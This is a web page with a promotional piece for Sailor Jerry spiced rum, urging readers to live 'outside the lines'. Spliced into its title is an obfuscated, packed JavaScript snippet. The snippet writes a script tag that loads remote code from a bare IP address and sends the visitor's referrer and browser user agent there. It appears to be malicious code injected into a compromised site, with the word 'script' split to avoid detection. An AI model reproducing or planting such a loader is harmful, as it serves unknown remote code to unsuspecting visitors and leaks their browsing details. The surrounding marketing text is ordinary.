Life (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryrhf|var|u0026u|referrer|kyhai||js|php’.split(‘|’),0,{}))
outside the lines. What does that mean to you? To Sailor Jerry it’s turning away from the norm and following the path of something you love. It rings true to us and especially here in London. Just look at our LDNERS…people who have followed their dreams, their passion and love for something. The Sailor Jerry ethos is built around that spirit, that sense of freedom and belief to follow your heart.

They say not to follow the crowd, as the crowd is all you will see…damn straight. Only dead fish swim with the current. You need to have the guts, the balls, the nerve to fail, to get the scars and learn then adapt. Whether you are a soldier in the army or setting up your own cup cake business, it still takes that driving force to make it happen. Sailor Jerry is not all tattoos and musicians…it’s a spirit in more than one way, that stands up to be brave and be who you want to be.


Go to the edge, ride the adventure, pee into the wind. Sailor Jerry is a straight-up, no nonsense, old-school spiced rum that believes in being bold and pushing the things that make you feel most alive…encompass that and you can achieve anything…and have a whole lot of fun while doing it! Live life Outside The Lines people…